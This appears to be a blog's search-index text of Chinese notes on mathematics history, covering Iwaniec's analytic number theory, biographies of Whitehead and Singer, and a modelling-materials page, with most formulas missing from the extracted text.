。 1986 年，Bombieri、Friedlander 和 Iwaniec 在《Acta Mathematica》上发表了里程碑式论文《等差数列中模数较大的素数》（Primes in arithmetic progressions to large moduli）。他们首次在严格的加权意义下打破了 的屏障，将分布水平推进到了 。 定理（Bombieri-Friedlander-Iwaniec，1986） 固定任意非零整数 ，令 为一个 level 为 良好可分解（well-factorable）函数。则对于任意给定的 和 ，有： 此处，良好可分解函数的严格定义是：如果对于任意给定的分解 （其中 ），都存在分别支撑在 和 上的算术函数 和 ，使得 ， ， 即 则称 是 level 为 的良好可分解函数。 将分布水平提高需要极其繁复的分析技巧，经典的 Type II 双线性形式估计会完全失效。Bombieri、Friedlander 和 Iwaniec 的创新在于运用 Linnik 的 dispersion method，将误差项转化为复杂的指数和，并使用了基于自守形式谱理论的 Kuznetsov 迹公式等工具进行估计。 这一定理的框架极大地丰富了解析数论的武器库。张益唐（1955- ）在 2013 年证明素数间有界距离时，其核心的技术突破正是对 BFI 定理的深度变体。 三、Kloosterman sum 与自守形式谱理论在解析数论中，特别是应用圆法（circle method）或处理移位卷积问题时，常遇到 Kloosterman sum，其经典定义： 其中 且 。 由代数几何中的 Weil 界，我们有 但在许多深层数论问题中，我们需要将 对 进行求和。此时简单的绝对值相加（即使用 Weil 界）不足以给出最优结果。 在 1982 年发表于《Inventiones Mathematicae》的论文《Kloosterman 和与尖点形式 Fourier 系数》（Kloosterman sums and Fourier coefficients of cusp forms）中，Iwaniec 与 Deshouillers 深入研究了 Kuznetsov 迹公式。该等式的一侧是按模数求和的 Kloosterman 和，另一侧则是双曲空间商群 上 Maass forms 的离散谱，加上 holomorphic cusp forms 的离散谱，以及连续谱（Eisenstein 级数）。 通过 Kuznetsov 迹公式，他们展示了如何将经典的指数和问题精确转化为自守形式的谱理论问题，并通过对 Maass forms 的 Fourier 系数的大筛法不等式（large sieve inequalities for exceptional Maass forms）和特征值的 Ramanujan-Petersson 猜想的深刻理解，获得了远远超越 Weil 界能达到的指数和相消结果。 Deshouillers 和 Iwaniec 借此解决了一个古老的问题：他们证明了对于无穷多个整数 ，多项式 的最大素因子 至少大于 （远远超越了基于简单初等筛法所能得到的线性下界）。 四、Selberg 的 1 / 4 猜想与例外特征值界限在 GL (2) 上的自守形式理论中，一个基本问题是：对于同余子群 （ 为素数）作用在双曲上半平面 上的商空间，其上的 Laplace-Beltrami 算子 的离散特征值 到底有多大？ 记 ，Selberg 的 猜想（Selberg's 1 / 4 Conjecture，1965）断言：所有非平凡特征值必定满足 （即 必为实数）。这实际上等价于一般线性群在无限位置上的广义 Ramanujan-Petersson 猜想。 如果存在 （即 为纯虚数），这就产生了所谓的例外特征值，它会在诸如 Kloosterman sum 的算术估计中产生打破平方根相消的主导误差项。 Selberg 本人在提出猜想时，利用 Weil 对 Kloosterman sum 的绝对界限以及他自己发明的迹公式，无条件证明了 。 1990 年，Iwaniec 利用他对 Kloosterman sum 谱理论的深厚理解，极大地推进了这一界限。他构造了高度复杂的测试函数代入 Kuznetsov 迹公式，并辅以极度精妙的解析估计，证明了对于带有特定乘子 的几乎所有 Hecke 同余子群 ，例外特征值可以被进一步压缩。 他给出了著名的下界： 后来 Henry Kim 和 Peter Sarnak（2003 年）将该结果提升到 五、Rosser-Iwaniec 筛法组合筛法的目的是估计有限整数序列 中，不能被一簇素数 中任何小于的素数整除的元素个数，记为筛函数 。在线性筛（linear sieve，即每个素数平均筛去一个同余类，筛维度 ）的情形下，罗瑟（John Barkley Rosser，1907-1989）曾提出一种极具潜力的权重选择，但并未发表严格的完整证明。 在 1980 年发表在《Acta Arithmetica》的两篇里程碑式论文中，Iwaniec 严格化并极大地扩展了这一理论，构建了如今被称为 Rosser-Iwaniec 筛法（Rosser-Iwaniec sieve）的基础框架。 Iwaniec 证明了，在满足常规的余项条件（由截断参数 控制，使得余项可通过 Bombieri-Vinogradov 型定理处理）和一定的局部密度条件（ ）下，筛函数的上下界可以被两个连续函数精确控制： 其中 是集合的近似主项大小， ， 是极小的误差项。连续函数 和 是某种 delay-differential equations 的唯一解。 Iwaniec 基于 Buchstab 恒等式的反复迭代，并巧妙地定义了 Rosser 截断规则，证明了这组函数 给出的是在一般线性筛假设下绝对最优的上下界。"},{"title":"","date":"2026-03-30T23:55:00.000Z","updated":"2026-03-31T00:18:00.000Z","comments":false,"path":"notes/person/index.html","permalink":"https://blog.mhuig.top/notes/person/","excerpt":"History of mathematics","text":"History of mathematics History of mathematics .prev-next{ display: none !important; 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Elliott 1922-1945 A.L. Dixon 1947-1960 Whitehead 1960-1984 G. Higman 1984-2006 D. Quillen 2007-2015 R. Rouquier 2013- Ben Green Whitehead 的父亲于 1947 年去世，母亲则于 1953 年去世。她留下了一小块农场和一些牲畜。Whitehead 与妻子因此在 Oxford 北面的 Noke 购买了 Manor Farm。农场主要由妻子经营，但 Whitehead 也对农场事务很感兴趣。两人一直在那里生活到 Whitehead 去世。 Whitehead 的去世十分突然，当时他正在美国休假访问普林斯顿高等研究院（IAS）。 1960 年 5 月，在没有任何预兆或疾病的情况下，他在 Princeton 因心脏病突发去世 —— 而那里正是他数学事业开始的地方。 他能够跨越年龄、阶层和国籍的界限，与任何热爱数学的人平等交流。1950-1960 年间大量合作论文表明，他始终乐于分享自己的思想，也乐于关注他人的成果。这种热情直到生命最后一刻都没有减弱。 在熟人记忆中，Whitehead 最令人难忘的，是那些长时间的数学谈话：“在散步、在农场、或坐在扶手椅上拿着铅笔和纸张推敲细节的长时间讨论，是他最享受的事情。在这些愉快而随意的谈话中，他总能让每个人都感到平等。” Whitehead 的研究成果对数学研究方向产生了深远影响。然而正如 Newman 所说，他的影响远不止于此：“他在数学发展中的影响，可以从代数拓扑和几何拓扑文献中无数的引用看出；但若没有他投入每一项数学事业中的慷慨与热情，这种影响也不可能如此巨大。” Whitehead 在学术上获得过多项荣誉，但由于 55 岁英年早逝，未能获得许多通常在晚年才授予的奖项。 他 1944 年当选皇家学会会士（FRS），并在 1953-1955 年担任伦敦数学会主席。 为纪念 Whitehead，伦敦数学会设立了两个奖：第一个是每年颁发给多位获奖者的 Whitehead 奖； 获奖时间 获奖人 获奖时间 获奖人 获奖时间 获奖人 1979 Cameron Johnstone 1981 N. HitchinD.F. Holt 1984 DonaldsonPatterson 1988 S.M. ReesP.J. WebbA. Wiles 1990 M.T. BarlowR. TaylorWassermann 1993 K.M. BallKronheimerVassiliev 1995 T. GowersJ. Rickard 2004 R. Thomas 等 2005 B. Green 等 2008 M. Hairer 等 2009 Dafermos 等 2010 Helfgott 等 2015 Maynard 等 2017 J. Thorne 等 2018 C.Birkar 等 第二个是每两年颁发一次的 Senior Whitehead 奖。 获奖时间 获奖人 获奖时间 获奖人 获奖时间 获奖人 1974 F. Adams 1976 C.T.C. Wall 1978 L.M. James 1980 D.G. Kendall 1982 C. Zeeman 1984 J.T. Stuart 1987 R.A. Rankin 1989 E. Fraenkel 1991 W.B.R. Lickorish 1993 B. J. Birch 1995 C.J. Bushnell 1997 J.H. Coates 1999 M.J.D. Powell 2001 D.W. Moore 2003 P.M. Neumann 2005 K. Moffatt 2007 B. Bollobás 2009 V.G. Maz'ya 2011 J. Pila 2013 F.C. Kirwan 2015 R.S. MacKay 2017 P. Cameron 2019 B. Green 2021 T.E. Brendle 2023 A. Smoktunowicz 2025 L. Pastur 他的好友 Newman 在回忆中写道：他充沛的活力与友善的举止固然令人一见难忘，但若没有一种极其敏锐的能力去理解谈话对象的思想与感受，以及对各种人类行为的深刻宽容，他也不会赢得世界各地数学家的长期友谊。他不喜欢形式主义，这在学者中并不少见，但他非正式态度让人感到舒适而不是尴尬。无论是散步时、带着那条并不十分听话的猎犬，还是坐在扶手椅上拿着铅笔和纸推敲细节，那些悠闲而深入的谈话，在三十年后依然像最初那样令人愉快而振奋。 贡献一、微分几何与同伦论Whitehead 的数学并不是一开始就完全以同伦论为中心。1932 年与 Veblen 合著的《微分几何的基础》（The foundations of differential geometry）首先确立了他在几何方面的声誉。 而 1935 年的《关于用过某点的测地线覆盖完备空间》（On the covering of a complete space by the geodesics through a point）则被 Britannica 评价为微分几何中的 “转折点” 工作。 Whitehead 从几何问题出发，进入拓扑时，并不是把拓扑理解成一种纯粹形式主义的代数；在他那里，几何直觉与代数一直是并行的。 这一点他 1947 年的论文《把 Hopf 不变量表示为积分》（An expression of Hopf's invariant as an integral）非常具有代表性。 这篇工作在几何分析与同伦论之间搭起了桥：Hopf 不变量本来是同伦论中的核心不变量，而 Whitehead 试图把它写成可直接计算的积分表达式。 二、CW 复形与 Whitehead 定理Whitehead 对 20 世纪拓扑学作出了重要贡献，首先是 CW 复形（CW complex）。 1949 年的《组合同伦 I、II》（Combinatorial homotopy. I and II）把一种新的空间类别确立为同伦论的标准。 CW 中的 C 指 closure finiteness，W 指 weak topology。它的思想其实很自然：从若干点开始，逐步往上附加线段、圆盘、球等 “胞腔（cells）”，用这些简单块拼出复杂空间，而且其胞腔结构与同伦性质之间有非常紧密的联系。 后来的亚当斯（John Frank Adams，1930-1989）在《代数拓扑：学生指南》（Algebraic Topology: A Student's Guide）里回看 Whitehead 的这篇工作时，称它是关于 CW 复形的 fundamental paper，并说 CW 复形是 “做同伦论最有用的一类空间”。 这一概念的重要性在于：它既足够一般，能覆盖大量自然出现的空间；又足够规则，使同伦论中的许多基本论证可以真正做出来。例如球面、射影空间、Grassmann 流形、Lie 群的许多分类空间，都可以自然赋予 CW 结构。 与 CW 复形紧密连在一起的，是今天称作 Whitehead 定理（1949）的基本事实：若两个空间是 CW 复形，而一个映射在所有维度的同伦群上都诱导同构，那么它其实就是同伦等价。 三、Whitehead 积（Whitehead product）与附加胞腔Whitehead 在 1941 年的工作《向同伦群添加关系》（On adding relations to homotopy groups）中讨论：当一个空间通过附加胞腔、尤其是附加 2 - 胞腔或更高维胞腔而发生变化时，其同伦群怎样改变。 在 时这种关系必须借助某种 “乘法” 来表达，并由此给出一种计算高阶同伦群的代数方法。 设 为带基点空间， 、 。取代表元（representative）： 并保持基点。考虑楔和（wedge sum） ，则 与 在该空间上给出映射 。 另一方面，由商空间 可得到一条连接映射（connecting homomorphism） 其像中的典则元（canonical element）记为 ，称为泛 Whitehead 元（universal Whitehead element）。 将其经 得到 称为 和 的 Whitehead 积（Whitehead product） 满足： 双线性：关于第一个分量和第二个分量都是线性； 分次对称性： ， 、 分次 Jacobi 恒等式： 、 、 几何上，这一构造利用了 的边界结构等价于一个维数为 的球面 ，从而把两个球面映射组合成一个更高维的同伦类。 这个运算揭示：对于 即使知道每个 各自是什么，也还不够；还必须知道它们之间怎样 “相乘” 和 “相互作用”。而当 时，它恰好退化为通常的交换子。 换言之，Whitehead 积在低维时，与群论中的交换子有密切关系。 特别地，在基本群层面上，它反映的正是 “非交换性” 怎样向更高维传播。后来许多拓扑空间的非平凡结构，尤其是楔和（wedge sum）空间、附加胞腔的空间、以及某些纤维化空间中的复杂现象，都需要借助 Whitehead 积来描述。 顺着这条线，Whitehead 还发展出了交叉模（crossed module, 1941）的概念。它来源于相对同伦群中的边界同态： 并且恰好抓住了空间的全部 2-type。这件事的重要性并不亚于 Whitehead product 本身：它说明 Whitehead 并不是只满足于处理一个个具体同伦群，而是在尝试寻找一种真正适合 “低维非交换同伦信息” 的代数模型。从后来的眼光看，这正是现代非交换代数拓扑与高维代数结构的一条主要源头。 四、单纯同伦（Simple homotopy）与 Whitehead 扭转（Whitehead torsion）1941 年的另一篇重要论文《关于关联矩阵、nuclei 与同伦类型》（On incidence matrices, nuclei and homotopy types）中，Whitehead 把复杂的拓扑形状压缩为带有群环系数的代数数据，再研究这些数据在什么变换下保持同伦类型。 这篇文章建立了 “某些纯代数过程” 与复形的 nuclei 及同伦类型之间的紧密联系，其中涉及作用在 incidence matrices 上的变换，以及 Reidemeister 型不变量。 简言之，Whitehead 把 “同伦分类” 与 “矩阵、群环和代数操作” 直接拴在了一起。 Kurt Werner Friedrich Reidemeister (1893-1971) 1950 年的《某个正合序列》（A certain exact sequence） 则把这种代数组织推得更深。 这篇论文讨论一个与连通复形 相关的正合序列 ，并通过一个二次函子 来刻画其中的高阶边界同态，尤其把某些二级模边界映射与 Pontryagin square 联系起来。 同样在 1950 年，Whitehead 发表《单纯同伦类型》（Simple homotopy types），这几乎可以看作他最深远的单篇论文之一。 它的核心思想是：并非所有同伦等价都处在同一层次；有些同伦等价可以分解为有限次初等的扩张与塌缩，而有些则不能。 若 是同伦等价，则可定义它的 Whitehead torsion ；当且仅当 时， 才是 simple homotopy equivalence。这样一来，“同伦等价” 内部第一次出现了可计算、可区分的细结构。 在高维流形情形中， -cobordism 的分类正是由 Whitehead group 与相应的 torsion 控制； -cobordism 定理更直接以 Whitehead torsion vanishing 作为判据。Simple homotopy 把同伦论、群环和高维流形理论真正连在一起。 五、Spanier–Whitehead 对偶与晚期几何工作Whitehead 后期并没有停留在早先的组合框架中。1955 年，他与斯潘尼尔（Edwin Henry Spanier，1921-1996）合作发表《同伦理论中的对偶》（Duality in homotopy theory）。 他们希望建立一种真正的 “对偶原理”，使 cohomotopy 可以被视为 homotopy 的对偶，而这一困难在稳定同伦论（stable homotopy theory）中得以克服。 后来的 “Spanier–Whitehead duality” 成为稳定同伦论（stable homotopy theory）中极其自然的一部分，也说明 Whitehead 并不只满足于处理具体空间之间的映射，而是在尝试理解整个理论中更深层的结构对称性。 Whitehead 去世后发表的《欧氏空间中带横截场的流形》（Manifolds with transverse fields in Euclidean space）讨论的是嵌入在欧氏空间中的拓扑流形、横截场与微分结构之间的关系。 这篇工作证明：若一个组合三角剖分的流形在欧氏空间中的直线嵌入带有一个 transverse field，那么它就获得一个与该三角剖分相容的可微结构；而同伦的 transverse fields 导致微分同胚的可微结构。"},{"title":"","date":"2026-05-18T08:07:00.000Z","updated":"2026-05-18T08:10:00.000Z","comments":true,"path":"notes/person/27.html","permalink":"https://blog.mhuig.top/notes/person/27","excerpt":"","text":"Singer Singer 生平艾萨多・曼纽尔・辛格（Isadore Manuel Singer，1924-2021）出生于美国 Michigan 州的底特律（Detroit）。他的父母西蒙・辛格（Simon Singer）与弗雷达・罗斯（Freda Rose）均为波兰人，于 1917 年移民加拿大多伦多，在那里结婚后迁居 Detroit。在学生时代，Singer 的兴趣广泛，既喜欢科学，也热爱阅读。1941 年 9 月，他进入 Michigan 大学就读，最终选择了物理学作为自己的专业方向。 由于第二次世界大战的爆发，大学课程被压缩，Singer 以惊人的速度在两年半内完成了学业，于 1944 年 1 月获得理学学士学位。 他早期对物理学的热情，特别是对相对论和量子力学的浓厚兴趣，成为了他未来学术道路的最初驱动力，并将他引向了纯粹数学的领域。 毕业后，Singer 立即加入了美国陆军通信兵团（U.S. Army Signal Corps）。他被派往菲律宾，在那里担任雷达军官，并为菲律宾军队开办了一所通信学校。Singer 负责通信兵学校的教学工作。 这三年的军旅生涯的业余时间他为日后在 Chicago 大学攻读物理作准备，自学研习了群论与微分几何，他意识到扎实的数学背景对于物理研究的重要性。 战争结束后，Singer 于 1947 年 1 月进入 Chicago 大学攻读研究生，最初的目标依然是物理学。他认为要想在相对论和量子力学领域取得突破，必须掌握更坚实的数学基础，于是改攻数学硕士。然而，当他沉浸在 Chicago 大学浓厚的数学氛围中时，他被现代数学的优雅与严谨深深吸引。 他后来回忆道：“我发现数学比量子力学更优雅、更现代。” 这种吸引力，使他最初 “将数学作为工具” 的想法，逐渐转变为 “将数学作为事业” 的决心。 Singer 在 1950 年获博士学位。其博士导师为欧文・埃兹拉・西格尔（Irving Ezra Segal，1918-1998），论文题为《无界算子的李代数》（Lie algebras of unbounded operators）。 多兰（Doran）写道：当时 Chicago 大学数学系由富有远见的斯通（Marshall Harvey Stone，1903-1989）领导，汇聚了世界上最杰出的数学家。 资深教授包括陈省身先生（Shiing-shen Chern，1911-2004）、麦克莱恩（Leslie Saunders MacLane，1909-2005）、韦伊（André Abraham Weil，1906-1998）和齐格蒙德（Antoni Szczepan Zygmund，1900-1992），卡普兰斯基（Irving Kaplansky，1917-2006）、Irving Segal 和哈尔莫斯（Paul Richard Halmos，1916-2006）等年轻学者活跃于算子理论与算子代数的研究。此外，大批知名访问学者与优秀研究生慕名前来，这正是辛格早期研究所处的充满活力的环境。 这一课题的选择极具深意，因为算子代数正是 John von Neumann 为量子力学建立的严谨数学框架。因此，Singer 的 “转向” 并非远离物理，而是直击其数学核心。 获得博士学位后，Singer 于 1950 年获 MIT C. L. E. Moore 讲师职位。两年后转任 UCLA（1952-1954）数学助理教授。1954 年，他赴 Columbia 大学任访问助理教授一年，次年又以访问身份在 Princeton 的 IAS 工作。 在那里，他结识了三位将对他学术生涯产生巨大影响的数学家：Michael Atiyah、Friedrich Hirzebruch 和 Raoul Bott。这次相遇为他日后的合作奠定了基础。 1956 年，Singer 回到 MIT，并在此度过了他职业生涯的大部分时光。他于 1959 年晋升为正教授。1961 年 Singer 与希拉・拉夫（Sheila Ruff）结婚，育有一女娜塔莎・辛格（Natascha Singer，现为《纽约时报》记者）。婚姻于 70 年代中期结束。后来他与罗丝玛丽（Rosemarie）结婚，并在 Berkeley 育有两女艾米莉（Emily）和安娜贝尔（Annabelle）。1970 年，他被任命为 MIT Norbert Wiener 讲座教授。 1977 年赴加州大学伯克利分校（University of California, Berkeley）任访问教授两年，1979 年受聘为 Berkeley 正教授。1982 年获 Berkeley Miller 教授头衔，但次年返回 MIT，任 John D MacArthur 讲座教授，1987 年获聘为 MIT 学院教授（Institute Professor）。 1977 年至 1984 年，Singer 在 Berkeley 任教的这段时期，对于数学与物理学的关系而言，是一个变革的时代。当时，物理学家在规范场论（gauge theory）方面取得了巨大进展，而 Singer 敏锐地意识到其背后深刻的几何结构。 为了深入理解这些新发展，他在 Berkeley 创办了一个数学 - 物理研讨会。这个研讨会打破了学科壁垒，成为数学家和物理学家交流思想、激发合作的重要平台。 Singer 的远见卓识并不仅限于促进学术交流，他更致力于为科学研究构建稳固的制度基础。他深知，他个人通过合作取得的成功经验，可以惠及整个学术界。基于这一理念，他与几何学大师陈省身以及卡尔文・C・摩尔（Calvin C. Moore，1936-2023）一道，积极倡导并推动了数学科学研究所（Mathematical Sciences Research Institute, MSRI）的建立。 在他们的努力下，该提案获得了美国自然科学基金（National Science Foundation）的批准，MSRI 于 1982 年正式成立。它迅速发展成为世界顶级的数学研究中心，并为全球其他类似机构的建立提供了典范。 Singer 的影响力超出了学术研究的范畴。他积极投身于科学政策的制定与公共服务。1982 年至 1988 年，他在罗纳德・威尔逊・里根（Ronald Wilson Reagan，1911-2004）总统任内担任白宫科学委员会（White House Science Council）的成员。这段经历让他对政府部门中科学家的才智深感敬佩，并认为在许多情况下，科学政策专家的选择比学术界的终身教职评定更能体现出卓越的判断力。 此外，他还是美国国家科学院、美国艺术与科学院的院士，并曾服务于美国国家科学院理事会和国家研究委员会理事会。 1970 年至 1972 年，他还担任了美国数学会的副主席。这些职务体现了他对整个科学事业健康发展的深切责任感。 1984 年，Singer 回到 MIT，并于 2010 年正式退休。然而，他对数学和教育的热情从未消减。在他七十多岁时，他做了一件令许多人惊讶的事：自愿担任大一新生物理微积分课程的助教，而非教授。他对此的解释很简单：“我想更好地了解 MIT”。这体现了他谦逊的品格和对教育最本真的热爱。他曾说道：对我而言，课堂是科研的重要补充。我喜欢教授各个层次的本科生，也拥有众多研究生，其中不少学生教会了我比我教他们更多的东西。 在 Killian 奖颁奖词中也强调：他可能是唯一一位经常教授普通微积分入门课程的美国大学特聘数学教授。 在个人生活中，Singer 是一位爵士乐迷，年轻时曾去听过埃拉・简・菲茨杰拉德（Ella Jane Fitzgerald，1917-1996）的演唱会。他还是一位狂热的网球爱好者，球技高超，直到八十多岁高龄依然坚持运动。 2001 年美国数学会授予他 Steele 终身成就奖，其颁奖词称：Singer 与 Michael Atiyah 合作的五篇关于椭圆算子指标定理的论文（1968-1971）以及与 M. Atiyah、维杰・库马尔・帕托迪（Vijay Kumar Patodi，1945-1976）合作的三篇关于带边流形指标定理的论文（1975-1976）是全球分析学的经典之作，激发了微分几何、微分拓扑及分析中的众多发展。 在获奖致辞中，Singer 回忆道：我与 Atiyah 爵士的合作持续二十余年，令人兴奋，我们的工作至今仍在产生深远影响。Atiyah 爵士是一位杰出的人，不仅在数学上卓有成就，还为全球科学事业投入了大量心力。我很幸运拥有众多数学与物理领域的合作伙伴，他们中许多人已成为我亲密的朋友，人数超过三十，难以一一列举。 颁奖词还指出：指标定理只是 Singer 贡献的一小部分。他与丹尼尔・伯里尔・雷（Daniel Burrill Ray, 1928-1979）合作研究的解析挠量（analytic torsion），开创了几何中 “行列式不变量” 的研究。此外，Singer 二十年来致力于联结数学家与理论物理学家，不仅通过讲座交流，更通过深入理解、改写并使数学家能够接触现代理论物理的核心成果。他在促成 20 世纪 70 年代中期以来数学与物理重新密切互动的 “复兴” 中发挥了关键作用。 2004 年，他与 Michael Atiyah 共同获得了 Abel 奖，以表彰他们 “发现并证明了指标定理，将拓扑、几何与分析融为一体，并在建立数学与理论物理之间的新桥梁中发挥了卓越作用”。 2021 年 2 月 11 日，Isadore Singer 在 Massachusetts 州的 Boxborough 去世，享年 96 岁。 贡献一、Atiyah-Singer 指标定理Atiyah-Singer 指数定理是二十世纪最伟大的数学成就之一，它完美地体现了 Singer 的数学哲学。这部分内容在 Atiyah 的工作介绍中已经提及，这里仅仅简单介绍一些历史。该定理的思想渊源可以追溯到 19 世纪的经典结果，例如 Gauss-Bonnet 定理。到了 20 世纪中叶，Hirzebruch-Riemann-Roch 定理和 Hirzebruch 符号差定理在代数几何与拓扑学中进一步发展了这一思想。 Israel Gelfand 在 20 世纪 60 年代初提出的一个问题。他注意到椭圆算子的指标在算子连续形变下保持不变，因此他想要用空间的拓扑不变量来计算这个指标。一个关键的突破口源于 Atiyah 的一个洞察：一个被称为 - 亏格（ -genus）的拓扑不变量总是整数，这或许可以用某个微分算子的指标来解释。然而，这个算子是什么并不清楚。此时，Singer 深厚的分析学功底发挥了决定性作用。 他与 Atiyah 一道，在黎曼流形的框架下重新发现并推广了源自相对论量子力学的 Dirac 算子。 事实证明，Dirac 算子正是解开这个谜题的钥匙，它成为了指数定理最核心、最典型的例子。 Atiyah 和 Singer 为该定理提供了多种证明，每一种都揭示了其不同层面的内涵。1963 年最初的证明思路使用了配边理论（cobordism theory）。而他们首次发表的完整证明则采用了 K- 理论（K-theory），这是一个更强大、更灵活的代数拓扑工具。 后来，由 Atiyah、Bott 和 Patodi 发展的热方程证明（heat equation proof），则与物理学中的路径积分思想产生了深刻的共鸣。 原始的指标定理只适用无边的紧流形。然而，许多物理和几何问题都涉及带边空间。在与 Patodi 的合作中，Atiyah 和 Singer 将该定理推广到这种更复杂的情形 (1975-1976)。他们发现，对于许多重要的算子（如符号差算子），简单的局部边界条件是不够的。为此，他们引入了一种全局边界条件，并在指标公式中加入了一个边界修正项，即著名的 - 不变量（ -invariant）。这是由边界上算子的谱定义的不变量，它后来在拓扑学和量子场论中也发现了深刻的应用。 二、规范场论Singer 是最早认识到现代物理学与微分几何之间深刻联系的数学家之一。1975 年，物理学家杨振宁（Chen-Ning Yang，1922-2025）与 Singer 的学生西蒙斯（James Harris Simons，1938-2024）发表论文，揭示物理学中的规范场（gauge field）与数学中的纤维丛上的联络（connection on a fiber bundle）在数学上是同一个概念。 Singer 立刻意识到这一发现的意义，并迅速投身于促进两个学科的交流，他在 Berkeley 的研讨会正是在这一背景下应运而生。 这一交流并非单向的 “数学应用”，而是一场真正的对话。 物理学为数学家们提出了全新的、深刻的研究对象和问题，而数学则为物理学家提供了严谨的框架和强大的计算工具。指标定理在这一过程中扮演了核心角色。 例如，物理学家发现的瞬子（instantons）—— 规范场方程的特殊解 —— 其解空间的维数，可以通过 Atiyah-Singer 指标定理精确计算出来。 此外，物理学中的手征反常现象，也通过算子族指标定理得到了完美的数学解释，这对于验证粒子物理标准模型的一致性至关重要。 三、Ray-Singer 解析挠率在 Singer 与雷（Daniel Burrill Ray , 1928-1979）的合作中，Singer 引入了解析挠率（analytic torsion）的概念。这是组合拓扑学中雷德迈斯特（Kurt Werner Friedrich Reidemeister , 1893-1971）挠率的一个解析的版本。Reidemeister 挠率是代数拓扑中第一个能够区分同伦等价但不同胚（not homeomorphic）的不变量。 而 Ray-Singer 的解析挠率是通过 Hodge Laplace 算子作用在 - 形式上的谱来定义的。如果其特征值为 ，考虑 函数（zeta function） 当 的实部足够大时，上式收敛。然后通过解析延拓（analytic continuation），可将其扩展到整个复平面。 函数的正则化行列式（zeta-regularized determinant）定义为 它在形式上等价于 Laplace 算子在 - 形式上的正特征值的乘积。由此，解析挠量（analytic torsion）定义为 函数的正则化行列式是一个关键，该方法被用来定义一个无穷维算子的行列式。这一技术后来成为量子场论中的标准工具。此外，1973 年 Ray–Singer 发表《复流形的解析挠率》（Analytic torsion for complex manifolds），把挠率（torsion）的定义转到复流形上，建立了后被称为全纯挠率（holomorphic torsion）的理论。这些工具后面被 Bershadsky–Cecotti–Ooguri–Vafa（1993 / 94）用在三维 Calabi–Yau 上计算拓扑弦振幅，并给出了对椭圆曲线计数的具体预测。 如今，Ray-Singer 解析挠率在拓扑学、弦论和量子引力等前沿领域中扮演着重要角色。1977 至 1979 年，齐格（Jeff Cheeger，1943-）和穆勒（Werner Müller，1949-）证明了 Ray-Singer 的猜想：对于紧黎曼流形，解析挠率与 Reidemeister 挠率相同。 四、Kadison-Singer 问题1959 年，Singer 与卡迪森（Richard Vincent Kadison , 1925-2018）提出了一个源于量子力学数学基础的深刻问题，即 Kadison-Singer 问题。考虑可分 Hilbert 空间 ，以及与之相关的两个 - 代数： 代数 ：由所有从 到 的连续线性算子组成；以及 代数 ：由所有从 到 的对角连续线性算子组成。 在一个 - 代数 上，态（state）是一个连续线性泛函 满足 （其中 表示代数的乘法单位元），并且 对所有 都成立。若一个态不能写成其他态的凸组合，则称该态为纯态（pure state）。 根据 Hahn–Banach 定理，在 上的任意线性泛函都可以扩张到 。Kadison 与 Singer 猜想，在纯态的情形下，这种扩张是唯一的。也就是说：对于 上的每一个纯态，存在唯一的态在 上对它进行扩张。 Kadison 和 Singer 本人倾向于认为答案是否定的，但这个问题异常困难，在长达 50 多年的时间里悬而未决，并被发现与信号处理、图论、调和分析等众多领域的未解难题等价。 2013 年，该问题最终被马库斯（Adam Wade Marcus，1979-）、斯皮尔曼（Daniel Alan Spielman，1970-）和斯里瓦斯塔瓦（Nikhil Srivastava）以肯定的方式解决，成为数学界的一大突破。 五、其他工作Singer 的其他重要工作还包括： 1、与沃伦・亚瑟・安布罗斯（Warren Arthur Ambrose，1914-1995）合作的 Ambrose-Singer 定理，这是微分几何中一个联系联络的曲率与和乐群（holonomy group）的基本定理。考虑黎曼流形 中的由参数 、 给出的光滑曲面 。设向量 定义在起点 ，让 沿着 的边界平行移动一圈，这条闭曲线构成了一个回路。 沿该回路的平行移动对应于 holonomy 群的一个元素，它作用在向量上。当将这个平行四边形收缩到零时，这一过程对应于对平行移动算子的微分： 其中 是曲率张量。因此，曲率刻画了无穷小闭合回路的 holonomy 效应。更确切地说曲率是 holonomy 作用在群单位元处的微分： 。 考虑一个结构群为 的主丛（principal -bundle） ，联络形式为 ，其曲率形式（curvature form）为 ，即取值于 Lie 代数 的 2 - 形式。 Ambrose–Singer 定理指出：对于任意点 ，其 holonomy 群 的李代数由所有形如 的元素生成，其中 为与 可由水平曲线（horizontal curve）连接的点（记作 ），而 、 为 处的水平切向量。简而言之，Ambrose–Singer 定理说明：一个联络的 holonomy 群的 “无穷小结构（即其李代数）” 完全由曲率张量的取值所决定。 因此要分类可能出现的 holonomy，就等价于分析哪些可以由满足 Bianchi 恒等式的 “代数曲率张量” 所生成。马塞尔・伯杰（Marcel Berger，1927-2016）在 1955 年，给出了单连通、不可约且非局部对称的黎曼流形的 holonomy 群的完整分类。 西蒙斯（James Harris Simons，1938-2024）在 1962 年的论文《关于和乐系统的传递性》（On the transitivity of holonomy systems）里证明了若不可约的黎曼和乐系统（holonomy system）在单位球面上不是传递（transitive）作用，则流形必为局部对称。 换句话说只要不是局部对称空间，holonomy 在切空间单位球上就必须传递作用。于是结合已知 “紧连通李群在球面上传递作用” 的分类，可以得到 Berger 的分类定理。 2、与小亨利・P・麦基恩（Henry P. McKean, Jr.，1930-2024）合作的 McKean-Singer 公式，该公式将算子的指标与热核（heat kernel）联系起来，为指标定理提供了另一条证明路径，并与量子场论的路径积分方法紧密相连。 设 是一个紧致的黎曼流形，考虑 Hodge–de Rham 算子 以及 Hodge-Laplace 算子 。 McKean 与 Singer 研究了 的谱与流形的拓扑特征（如 Euler 示性数）之间的关系： 换句话说流形的 Euler 示性数可由热方程解（heat kernel）或算子谱信息计算得出。 在量子场论中，热核迹表达式出现在量子涨落（quantum fluctuations）与路径积分的正规化中。因此，McKean–Singer 定理也是后来量子异常（anomaly）与规范场拓扑项研究的重要数学原型。"},{"title":"","date":"2019-09-19T01:16:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/pdf/cumcm.html","permalink":"https://blog.mhuig.top/notes/pdf/cumcm","excerpt":"","text":"数学建模资料 数学建模资料 汇总司守奎老师的讲义 程序 习题解答等 volantis.css(\"/lib/hexo-github/github.css\"); volantis.js(\"/lib/hexo-github/github.js\").then(() => { new Badge(\"#badge-container-MHuiG-MCM-Archive-a9efbfb4b80a822b6ed30fb86c281ce44eb8e17d\", \"MHuiG\", \"MCM-Archive\", \"a9efbfb4b80a822b6ed30fb86c281ce44eb8e17d\", false); }) 封面 封面 前言 前言 目录 目录 第一章 线性规划 第一章 线性规划 第二章 整数规划 第二章 整数规划 第三章 非线性规划 第三章 非线性规划 第四章 动态规划 第四章 动态规划 第五章 图与网络 第五章 图与网络 第六章 排队论 第六章 排队论 第七章 对策论 第七章 对策论 第八章 层次分析法 第八章 